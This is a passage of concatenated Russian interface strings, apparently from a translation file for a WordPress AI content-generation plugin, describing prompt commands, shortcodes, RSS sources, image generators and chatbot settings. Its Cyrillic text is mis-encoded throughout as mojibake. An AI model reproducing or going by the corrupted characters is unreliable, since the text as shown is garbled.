(по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ тегов поÑтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ заголовков поÑтов. Это может быть любое задание или приказ, на оÑновании которого AI будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды prompt - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько подÑказок (по одной на Ñтроку), и плагин будет выбирать Ñлучайную при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые подÑказки, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите отправить генератору тегов AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках промпт команды - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок промпт команд (по одной в каждой Ñтроке), которые вы хотите отправить генератору тегов AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках промпт команды - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить генератору текÑта заголовков AI. Это может быть любое задание или приказ, на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по однму на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промпт (по одной в каждой Ñтроке), которые вы хотите отправить иÑкуÑÑтвенному интеллекту. Это может быть любое задание или приказ, на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt файл, в который вы можете добавить неÑколько промптов (по однму на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить OpenAI/AiomaticAPI. Это может быть любое задание или приказ, на оÑновании которого OpenAI будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по однму на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.УÑтановите ÑпиÑок Промпт Команд (по одной в каждой Ñтроке), которые вы хотите отправить генератору изображений AI. Эта команда может быть любой заданной задачей или заказом, на оÑнове которого она будет генерировать изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе плагин урежет ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на файл .txt, где вы можете добавить неÑколько Промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. ЕÑли вы иÑпользуете Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Royalty Free в качеÑтве иÑточника, вы также можете уÑтановить их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.УÑтановите ÑпиÑок Промпт Команд (по одной в каждой Ñтроке), которые вы хотите отправить генератору изображений AI. Эта команда может быть любой заданной задачей или заказом, на оÑнове которого она будет генерировать изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе плагин урежет ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на файл .txt, где вы можете добавить неÑколько Промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить генератору изображений AI. Этими командами могут быть любые Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ приказы, на оÑновании которых он будет генерировать изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе плагин Ñократит ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам из других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. ЕÑли вы иÑпользуете в качеÑтве иÑточника Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Royalty Free Images, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить генератору изображений AI. Этими командами могут быть любые Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ приказы, на оÑновании которых он будет генерировать изображениÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Длина Ñтой команды не должна превышать 1000 Ñимволов, иначе плагин Ñократит ее до 1000 Ñимволов. - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам из других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. УÑтановите параметр штрафа за чаÑтоту AI Ð´Ð»Ñ Ñтой формы.УÑтановите макÑимальное количеÑтво токенов AI Ð´Ð»Ñ Ñтой формы.УÑтановите AI-модель Ñтого аÑÑиÑтента.УÑтановите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений.УÑтановите параметр штрафа за приÑутÑтвие AI Ð´Ð»Ñ Ñтой формы.УÑтановите промпт AI, который будет отправлен ​​автору контента.Задайте промпт AI, который будет отправлен автору контента Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ каждого результата. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_item%% + шорткоды Spintax, Synergy, [aicontent] и поддерживаемые шорткоды WordPress. ЕÑли вы не добавите %%current_item%% в промпт, он будет автоматичеÑки добавлен в его конец.УÑтановите промпт AI, который будет отправлен автору контента. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите промпт AI, который будет отправлен автору контента. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_input_line%%, %%current_input_line_counter%%, %%all_input_lines%%, %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите промпт AI, который будет отправлен ​​в генератор изображений.Задайте промпт AI, который будет отправлен генератору изображений. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите температуру AI Ñтой формы.УÑтановите параметр AI top_p Ñтой формы.УÑтановите идентификатор Ñ€Ð¾Ð´Ð¸Ñ‚ÐµÐ»Ñ Ñозданных поÑтовУÑтановите идентификатор Ñ€Ð¾Ð´Ð¸Ñ‚ÐµÐ»Ñ Ñоздаваемых поÑтов. Это полезно Ð´Ð»Ñ Ð¸Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ð¸ Ñ BBPress, Ð´Ð»Ñ Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð¾Ð² форума Ñозданным темам или Ð´Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… подобных функций.УÑтановите тип поÑта Reddit.УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¸Ð½Ð° Pinterest.Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¸Ð½Ð° Pinterest. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите URL-Ð°Ð´Ñ€ÐµÑ RSS-канала Ð´Ð»Ñ Ñбора данных.Задайте URL-Ð°Ð´Ñ€ÐµÑ RSS-канала, по которому будут парÑÑÑ‚ÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ñ€Ð¾Ð»Ð¸ÐºÐ° YouTube, из которого будут импортированы титрыЗадайте URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ñ€Ð¾Ð»Ð¸ÐºÐ° YouTube, из которого будут импортированы титры.УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð´Ð»Ñ Ð¿Ð°Ñ€Ñинга данныхЗадайте URL-адреÑ, по которому будет производитьÑÑ Ð¿Ð°Ñ€Ñинг данных. Ð’Ñ‹ также можете добавить неÑколько URL-адреÑов (по одному в каждой Ñтроке), из которых будет выбран Ñлучайный. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите тип поÑта в ÑообщеÑтве YouTube.УÑтановите идентификатор аÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI.УÑтановите изображение аватара AI. Это будет показано в интерфейÑе чат-бота.УÑтановите аватар аÑÑиÑтента чат-бота.УÑтановите аватар перÑонажа чат-бота.УÑтановите ÑпиÑок запрещенных Ñлов, который будет применÑÑ‚ÑŒÑÑ ÐºÐ¾ вÑем правилам Плагина.УÑтановите подпиÑÑŒ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ FacebookУÑтановите подпиÑÑŒ к изображению в Facebook. Дополнительные шорткоды, которые вы можете иÑпользовать:%%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите категорию шаблона OmniBlock Ð´Ð»Ñ ÑохранениÑ. Ð’Ñ‹ можете добавить неÑколько категорий, разделенных ;УÑтановите текÑÑ‚ ÑоответÑтвиÑ, который будет отображатьÑÑ Ð²Ð½Ð¸Ð·Ñƒ чат-бота (по умолчанию пуÑто).УÑтановите текÑÑ‚ ÑоответÑтвиÑ, который будет отображатьÑÑ Ð²Ð½Ð¸Ð·Ñƒ чат-бота (по умолчанию пуÑто).УÑтановите Ñодержание Ñлектронного пиÑьма Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸Ð—Ð°Ð´Ð°Ð¹Ñ‚Ðµ Ñодержание пиÑьма, которое будет отправлено. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите Ñодержание Ñоздаваемого ÑообщениÑЗадайте контент Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите пользовательÑкие полÑ, которые будут уÑтановлены Ð´Ð»Ñ Ñоздаваемых поÑтов. СинтакÑÐ¸Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2УÑтановите ÐаÑтраиваемые ПолÑ, которые будут уÑтановлены Ð´Ð»Ñ Ð¡Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… ПоÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого ÐŸÐ¾Ð»Ñ Ñледующий: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. Ð’Ñ‹ также можете иÑпользовать Ñледующие Шорткоды на оÑнове тем: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%УÑтановите наÑтраиваемые полÑ, которые будут уÑтановлены Ð´Ð»Ñ Ñгенерированных ПоÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также можете иÑпользовать Ñледующие шорткоды на оÑнове тем: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€ÑƒÐµÐ¼Ñ‹Ñ… поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B . Ð’Ñ‹ также можете задать иерархичеÑкие такÑономии (родительÑÐºÐ°Ñ > дочернÑÑ), в таком формате: custom_taxonomy_name => parent1 > child1 . Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€ÑƒÐµÐ¼Ñ‹Ñ… поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . Ð’Ñ‹ также можете задавать иерархичеÑкие такÑономии (родительÑÐºÐ°Ñ > дочернÑÑ), в таком формате: custom_taxonomy_name => parent1 > child1 . Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также можете иÑпользовать Ñледующие тематичеÑкие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%.Задайте пользовательÑкие такÑономии, которые будут уÑтанавливатьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€ÑƒÐµÐ¼Ñ‹Ñ… поÑтов. СинтакÑÐ¸Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ñледующий: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . Ð’Ñ‹ также можете задавать иерархичеÑкие такÑономии 